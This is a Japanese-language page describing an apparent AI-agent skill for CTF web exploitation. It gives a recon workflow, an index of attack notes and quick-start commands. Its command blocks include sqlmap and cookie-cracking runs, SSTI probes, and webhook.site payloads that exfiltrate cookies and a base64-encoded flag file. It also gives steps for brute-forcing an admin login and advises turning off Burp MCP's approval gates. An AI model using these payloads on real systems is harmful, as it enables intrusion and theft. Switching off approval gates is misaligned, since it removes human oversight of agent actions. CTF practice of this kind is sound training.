ctf-web について
セキュリティ担当者向けの CTF Web 攻撃スキルです。手法を選ぶ前にアプリと信頼境界を整理する流れを軸に、代表的な Web 脆弱性の手引きと任意の MCP ワークフローをまとめています。
主な機能
- 01アプリの初期偵察手順
- 02サーバー・クライアント側の攻撃ノート
- 03認証とアクセス制御の手引き
- 04ペイロードのリファレンスとツール
- 05MCP 連携の説明
活用シーン
- 01テスト前にルートと信頼境界を把握
- 02SQL インジェクションや SSRF の調査
- 03ブラウザー依存の問題の検証
- 04問題の手掛かりから手法を選択
MCP 対応
ブラウザー依存の問題向け Playwright MCP と、HTTP レベルの作業向け Burp Suite MCP を任意の連携として説明し、設定上の注意点とツールごとの制約も記載しています。
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ ljagiello/ ctf-skills --skill ctf-webインストール後、Claude Code で/ctf-webを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
auth-and-access-2.mdauth-and-access.mdauth-infra.mdauth-jwt.mdclient-side-advanced.mdclient-side.mdcves.mdfield-notes.mdnode-and-prototype.mdpat-reference.mdpython-requests.mdserver-side-2.mdserver-side-advanced-2.mdserver-side-advanced-3.mdserver-side-advanced-4.mdserver-side-advanced.mdserver-side-deser.mdserver-side-exec-2.mdserver-side-exec.mdserver-side.mdsql-injection.mdtools-mcp.mdweb3.mdscripts/async_fuzz.py詳細
CTF Web 悪用
Web 関連の比重が大きい課題で、このスキルをルーティングと実行のガイドとして使用してください。最初の確認は手短に済ませます。アプリの構成を把握し、信頼境界を確認してから、詳細な手法の解説に進んでください。
前提条件
Python パッケージ(全プラットフォーム):
pip install sqlmap flask-unsign requests httpx
Linux(apt):
apt install hashcat jq curl
macOS(Homebrew):
brew install hashcat jq curl
Go ツール(全プラットフォーム、Go が必要):
go install github.com/ffuf/ffuf/v2@latest
手動インストール:
- ysoserial — GitHub、Java が必要です(Java のデシリアライズ用ペイロード)
- PayloadsAllTheThings — ctf-web/payloads/PayloadsAllTheThings に git clone します(インストールスクリプトで自動実行、または必要に応じて遅延クローン)
bash scripts/install_ctf_tools.sh pat # PAT only bash scripts/install_ctf_tools.sh all # all tools including PAT # manual fallback: git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThingsPAT は任意で、必要に応じて使用します。読み込み時に必須ではありません。このスキルは PAT がなくても動作します(適切に機能を縮退します)。
pat-reference.mdにはペイロードの代表例を含むオフラインインデックスがあり、大規模なワードリストには上記のクローンが必要です。
MCP サーバー(任意): ブラウザーに依存する課題(DOM XSS、管理者ボット、SPA クライアントシークレット)には Playwright MCP(microsoft/playwright-mcp)、ワイヤーレベルの作業(ヘッダーレベルの HTTP/1.1+HTTP/2 制御、リクエストスマグリング、Collaborator 経由のブラインド SSRF/XXE、プロキシ履歴の正規表現による分析)には Burp Suite MCP(PortSwigger/mcp-server)を使用します。tools-mcp.md を参照してください。Burp MCP に頼る前に、次の 2 点を行ってください。エージェントを起動する前に Burp を起動し、Burp の MCP タブで 2 つの承認ゲートをオフにしてください。そうしないと、最初のツール呼び出しがモーダルダイアログでブロックされます。
追加リソース
- sql-injection.md - SQL インジェクションの手法:認証バイパス、UNION による抽出、フィルターバイパス、二次 SQLi、切り詰め、競合状態を利用した漏えい、INSERT ON DUPLICATE KEY UPDATE によるパスワード上書き、innodb_table_stats による WAF バイパス
- server-side.md - PHP の型ジャグリング、php://filter による LFI、Python str.format のトラバーサル、SSTI(Jinja2、Twig、ERB、Mako、EJS、Vue.js、Smarty)、SSRF(Host ヘッダー、DNS リバインディング、curl リダイレクト、エスケープされていないドットを含む正規表現、SNI FTP スマグリング、mod_vhost_alias)、PHP hash_hmac の NULL
- server-side-2.md - XXE(基本、OOB、DOCX アップロード)、X-Forwarded-For 経由の XML インジェクション、PHP の可変変数、予測可能なファイル名を生成する PHP uniqid、正規表現の逐次置換バイパス、コマンドインジェクション(改行、ブロックリスト、sendmail CGI、複数バーコード、git CLI)、GraphQL インジェクション(イントロスペクション、バッチ処理、補間)
- server-side-exec.md - 直接的なコード実行経路、アップロードから RCE への誘導、デシリアライズに隣接する実行、LaTeX インジェクション、ヘッダーと API の悪用
- server-side-exec-2.md - その他の実行チェーン:SQLi の断片化、パスパーサーのトリック、ポリグロットアップロード、ラッパーの悪用、ファイル名インジェクション、ファイル名の切り詰めを利用した BMP ピクセル Web シェル
- server-side-deser.md - Java/Python/PHP のデシリアライズと競合状態の攻略手順、デシリアライズ経由の PHP SoapClient CRLF SSRF
- server-side-advanced.md - 高度な SSRF、トラバーサル、アーカイブ、パーサー、フレームワーク、最新のアプリケーションサーバーに関する問題、Nginx alias トラバーサル
- server-side-advanced-2.md - Docker API SSRF、Castor/XML、Apache 式による読み取り、パーサーの不一致、Windows パスのトリック、不正な MySQL サーバーによるファイル読み取り
- server-side-advanced-3.md - パート 3(CSAW/35C3/ASIS/PlaidCTF 2018):WAV ポリグロットアップロード、複数スラッシュ URL による
path.startswithバイパス、Xalan XSLTmath:random()のシード推測、SoapClient_user_agentCRLF メソッドスマグリング、ホストなし URL スキームによるgopher:///バイパス、攻撃者指定の送信先 URL を介した SSRF 認証情報の漏えい - server-side-advanced-4.md - パート 4:WeasyPrint SSRF/ファイル読み取り(CVE-2024-28184)、MongoDB 正規表現/$where のブラインドオラクル、Pongo2 Go テンプレートインジェクション、ZIP PHP Web シェル、basename() バイパス、wget CRLF SSRF→SMTP、Gopher SSRF から MySQL ブラインド SQLi への誘導、React Server Components Flight RCE(CVE-2025-55182)、sslsplit+arpspoof による AMQP/TLS の傍受、CairoSVG XXE、Bazaar リポジトリの再構築
- client-side.md - XSS、CSRF、キャッシュポイズニング、DOM のトリック、管理者ボットの悪用、リクエストスマグリング、ペイウォールのバイパス
- client-side-advanced.md - CSP バイパス、Unicode のトリック、XSSI、CSS による情報流出、ブラウザーの正規化に関する癖、postMessage の null オリジンバイパス
- auth-and-access.md - 認証/認可のバイパス、隠しエンドポイント、IDOR、リダイレクトチェーン、サブドメインの乗っ取り、AI チャットボットのジェイルブレイク
- auth-and-access-2.md - パート 2(2018 年頃):
std::unordered_setのバケット衝突による認証バイパス、nodeprep.prepareの Unicode ホモグラフによるユーザー名衝突、SRP A=0/A=N 認証バイパス、ArangoDB AQL MERGE による権限昇格 - auth-jwt.md - JWT/JWE の操作、弱いシークレット、ヘッダーインジェクション、鍵の混同、リプレイ
- auth-infra.md - OAuth/OIDC、SAML、CORS、CI/CD シークレット、IdP の悪用、ログインポイズニング
- node-and-prototype.md - プロトタイプ汚染、JS サンドボックス脱出、Node.js 攻撃チェーン
- web3.md - Solidity と Web3 の課題に関するメモ
- cves.md - 課題のバナー、ヘッダー、依存関係の漏えい、バージョン文字列と照合できる、CVE を起点とした手法
- field-notes.md - 詳細なエクスプロイトメモ:SQLi、XSS、LFI、JWT、SSTI、SSRF、コマンドインジェクション、XXE、デシリアライズ、競合状態、認証バイパス、複数段階のチェーンに関するクイックリファレンス
- tools-mcp.md - Web 向け MCP サーバー統合:Playwright MCP(管理者ボットの DOM XSS 再現、ライブ DOM/コンソール/ネットワークの検査、
browser_network_requestsはエンドポイントの一覧を返しますが、ペイロードを返すのはbrowser_network_request part="response-body"のみ)と Burp Suite 公式 MCP(27 個のツール、モーダルダイアログによる承認ゲートでエージェントが停止、ソケットとHost:ヘッダーを切り離すターゲットの 3 要素、リクエストのプリアンブルにある CR/LF を書き換えるnormalizeHttpContent、重複ヘッダーを表現できないマップベースの HTTP/2、ステージのみのsend_to_intruder、アイテムを 5000 文字で切り詰めるプロキシ履歴、Pro 限定の CollaboratorpayloadId/customData);curl や ffuf と比べた使い分け - python-requests.md - Python requests ツールキット:セッションのひな形、Burp Intruder に似たファザー(同期+ThreadPoolExecutor+httpx 非同期)、pat-reference.md のワードリストからのペイロード配置、ヘッダー/パラメーターへのスプレー、Cookie/JWT、プロキシ
- pat-reference.md — PayloadsAllTheThings のインデックス:XSS/SQLi/SSRF/SSTI/LFI/コマンドインジェクション/アップロード向けのペイロード集(PAT のクローンが必要です。「前提条件」を参照)
方針を切り替えるタイミング
- 標的がネイティブバイナリ、カスタム VM、またはファームウェアイメージの場合は、まず
/ctf-reverseに切り替えてください。 - HTTP の脆弱性でコード実行が可能になり、メモリ破壊や seccomp の回避が難題になった場合は、
/ctf-pwnに切り替えてください。 - 「Web」チャレンジの核心が JWT の計算、カスタム MAC、または暗号プリミティブにある場合は、
/ctf-cryptoに切り替えてください。 - Web チャレンジでログ、PCAP の分析、または Web サーバーからのアーティファクト復元が必要な場合は、
/ctf-forensicsに切り替えてください。 - 悪用の前に、公開 Web ソース、DNS レコード、またはソーシャルメディアから情報を収集する必要がある場合は、
/ctf-osintに切り替えてください。
類似の解説を探す
行き詰まった場合や、同様の Web チャレンジを他の人がどのように解決したか確認したい場合は、ctf-similar-search スキルの方法に従い、チャレンジ名、競技名、またはチャレンジに含まれる固有の文字列(コードスニペット、エラーメッセージ)を使って、自然な言葉で検索リクエストを記述してください。
「DASCTF URL Storage」 「def encrypt_flag(key)」
これにより、Tavily API 経由で参考になる解説を検索でき、適切な攻撃経路の特定に役立ちます。「SSRF」や「XSS」のような一般的な用語は避け、チャレンジ固有の識別情報を使ってください。
最初に行うワークフロー
- 実際の境界を特定します。ブラウザーのみ、バックエンドのみ、混在したアプリ、または認証フローのどれでしょうか。
- ファジングを始める前に、主要な機能ごとに通常のリクエストとレスポンスを 1 組ずつ記録します。
- JS バンドル、レスポンスヘッダー、ルート、代替メソッドから隠れた機能を列挙します。
- 脆弱性の候補を分類します。インジェクション、認可、パーサー間の不一致、アップロード、信頼プロキシ、状態機械、またはクライアント側の実行です。
- まず最小限の証明を作ります。情報漏えい、回避、またはプリミティブです。エクスプロイトの全連鎖は後回しにします。
大量ペイロード(PayloadsAllTheThings — 必要に応じて)
このスキルは、読み込み時に PAT がなくても動作します(縮退運転)。pat-reference.md とインラインの例はオフラインで利用できます。大量のペイロードを使うには PAT のクローンが必要です。信頼境界を把握した後(最初に行うワークフロー)、pat-reference.md で脆弱性クラスに該当する PAT ディレクトリを確認し、大量のペイロードを検索してください。
# PAT payload search (requires PAT clone — see Prerequisites; gracefully skipped if missing)
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head
grep -R "onerror" "ctf-web/payloads/PayloadsAllTheThings/XSS Injection" 2>/dev/null | head
または、エージェントツールを使う方法もあります(インデックス自体のクローンは不要です)。
Glob ctf-web/payloads/PayloadsAllTheThings/**/*.md
Grep "union select" ctf-web/payloads/PayloadsAllTheThings
ctf-web/payloads/PayloadsAllTheThings/.git が見つからない場合、エージェントは必要に応じて遅延クローンを実行します。
[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings
クイックスタートコマンド
# Recon
curl -sI https://target.com
ffuf -u https://target.com/FUZZ -w wordlist.txt
curl -s https://target.com/robots.txt
# SQLi quick test
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# JWT decode (no verification)
echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Cookie decode (Flask)
flask-unsign --decode --cookie '<cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt
# SSTI probes
curl "https://target.com/page?name={{7*7}}"
curl "https://target.com/page?name={{config}}"
# Request inspection
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'
ログインの総当たり — 厳守事項
チャレンジでログインフォームへの総当たりが必要な場合は、以下のルールに必ず従ってください。独自の判断で変更しないでください。
-
ユーザー名は必ず
adminです。 ユーザー名を列挙しないでください。ユーザー名のリストを作成しないでください。チャレンジに「弱口令」(弱いパスワード)や「常用用户名」(よく使われるユーザー名)と書かれていても、そのヒントが示すのはパスワードです。標的のアカウントは引き続きadminです。チャレンジに特定の別の文字列(例:「ユーザー名は root」)が示されている場合に限り、別のユーザー名を使用してください。 -
パスワードファイルには、Kali に既存のワードリストを必ず使用してください。 デフォルトは
/usr/share/wordlists/metasploit/burnett_top_1024.txtです。独自のパスワードファイルを作成しないでください。cat > passwords.txtの使用、コードへのパスワードリストのハードコード、ローカルのTop1000.txtの読み込みは禁止です。スクリプトは、Kali のワードリストファイルから直接行を読み込む必要があります。
複雑なケース(CSRF トークン、フロントエンドの暗号化、JSON API、Basic Auth、スレッド処理)については、auth-and-access.md のリファレンススクリプトを参照してください。ただし、これらのスクリプトも上記の 2 つのルールに従う必要があります。
最初に答えるべき質問
- フラグはブラウザー、API レスポンス、ローカルファイル、データベースの行、または内部サービスのどこにある可能性が高いですか。
- アプリは、テンプレート、リダイレクト、ファイルパス、ヘッダー、シリアライズされたオブジェクト、またはバックグラウンドジョブに含まれるユーザー制御データを信頼していますか。
- 複数のパーサー間で解釈の不一致はありますか。プロキシとアプリ、URL パーサーとフェッチャー、サニタイザーとブラウザー、シリアライザーとフィルターの間などです。
- まず脆弱性をより小さなプリミティブに変換できますか。ファイルを 1 つ読む、トークンを 1 つ偽造する、内部エンドポイントを 1 つ呼び出す、またはボットの訪問を 1 回発生させる、などですか。
価値の高い偵察チェック項目
- API の仕様を推測する前に、HTML、インラインスクリプト、バンドルされた JS を読みます。
- UI が送信する内容とバックエンドが受け付ける内容を比較します。任意の JSON フィールドによって、隠れた経路が有効になることがよくあります。
- まずは、よくあるメタデータやヘルパーパスを確認します:
/robots.txt、/sitemap.xml、/.well-known/、/admin、/debug、/.git/、/.env。 - 興味深いルートでは、別のメソッドやコンテンツタイプを試します:
GET、POST、PUT、PATCH、TRACE、JSON、フォーム、マルチパート、XML。 - ファイルアップロード、PDF/エクスポート、Webhook、OAuth コールバック、管理者ボットの機能は、攻撃の効果を増幅させる可能性が高いものとして扱います。
すばやく確認するパターンマップ
- SQL エラー、奇妙なフィルタリング、または状態に依存する DB の挙動がある場合:sql-injection.mdから始めます。
- テンプレート処理、ファイル読み取り、SSRF、コマンド実行、XML、またはパーサーのバグがある場合:server-side.mdとserver-side-exec.mdから始めます。
- XSS、CSP バイパス、管理者ボット、クライアント側ルーティング、DOM の問題、またはスクリプトを使わない情報流出がある場合:client-side.mdから始めます。
- セッション偽造、隠れた管理者ルート、JWT、OAuth、SAML、または信頼境界の弱さがある場合:auth-and-access.md、auth-jwt.md、auth-infra.mdから始めます。
- Node.js アプリ、プロトタイプ汚染、VM サンドボックス、または内部サービスへの SSRF がある場合:node-and-prototype.mdを追加します。
- スマートコントラクトのフロントエンド、またはブロックチェーンと連携するアプリの場合:web3.mdを追加します。
よくある攻撃チェーンの形
- 偵察 -> 隠れたルート -> 認証バイパス -> 内部ファイル読み取り -> トークンまたはフラグ
- XSS または HTML インジェクション -> 管理者ボット -> 特権操作 -> シークレット漏えい
- パストラバーサルまたはアップロード -> 設定/ソース漏えい -> シークレット復元 -> セッション偽造
- SSRF -> メタデータまたは内部 API -> 認証情報漏えい -> コード実行
- SQLi または NoSQL インジェクション -> 認証情報のバイパス -> 第 2 段階のテンプレートまたはアップロードの悪用
Webhook コールバック(webhook.site)
コールバック URL が必要なエクスプロイト(XSS 管理者ボット、SSRF による情報流出、OAuth リダイレクトの悪用、帯域外データを使うブラインドインジェクションなど)では、webhook.siteを使って、受信リクエストをすぐに受け取り、確認します。
トークンを作成する(コールバック URL を取得する):
curl -X POST https://webhook.site/token
# Returns {"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", ...}
# Your callback URL: https://webhook.site/<uuid>
エクスプロイトでコールバック URL を使う:
# XSS payload with webhook callback
curl -X POST https://target.com/api/report \
-H "Content-Type: application/json" \
-d '{"url": "https://webhook.site/<uuid>/steal?cookie=" + document.cookie}'
# SSRF exfiltration via webhook
curl "https://target.com/ssrf?url=https://webhook.site/<uuid>/?data=$(cat /flag.txt | base64)"
# OAuth redirect abuse
curl "https://target.com/auth?redirect=https://webhook.site/<uuid>/token"
最後に受信したリクエストを取得する:
curl "https://webhook.site/token/<uuid>/request/latest/raw" \
-H "accept: application/json" \
-H "api-key: <uuid>"
webhook.site、Burp Collaborator、interactsh の使い分け:
- webhook.site — 最も手早くセットアップでき、ブラウザーで確認できる UI があり、インストールも不要です。手早く CTF のコールバックを確認するのに最適です。
- Burp Collaborator — Burp Suite をプロキシとして使用する場合のブラインド XSS/SSRF に適しています。
- interactsh — 複雑な複数段階のエクスプロイトにおける OOB インタラクションの相関付けに適しています。
詳細な調査メモ
課題が実際に Web 中心であり、幅広いエクスプロイトのカタログが必要だと確認できたら、field-notes.mdを使います。
- 偵察、SQLi、XSS、パストラバーサル、JWT、SSTI、SSRF、XXE、コマンドインジェクションのクイックメモ
- デシリアライゼーション、競合状態、ファイルアップロードからの RCE、複数段階の攻撃チェーンの例
- Node、OAuth/SAML、CI/CD、Web3、ボットの悪用、CSP バイパス、最新ブラウザーのテクニック
- CVE を題材にしたプレイブックと、現在の CTF にも登場する古い課題のパターン
よくあるフラグの場所
- ファイル:
/flag.txt、/flag、/app/flag.txt、/home/*/flag* - 環境:
/proc/self/environ、プロセスのコマンドライン、デバッグ設定のダンプ - データベース:
flag、flags、secretという名前のテーブル、または初期登録された課題コンテンツ - HTTP:カスタムヘッダー、アーカイブされたレスポンス、隠れたルート、管理者向けエクスポート
- ブラウザー:非表示の DOM ノード、
data-*属性、インラインの状態オブジェクト、ソースマップ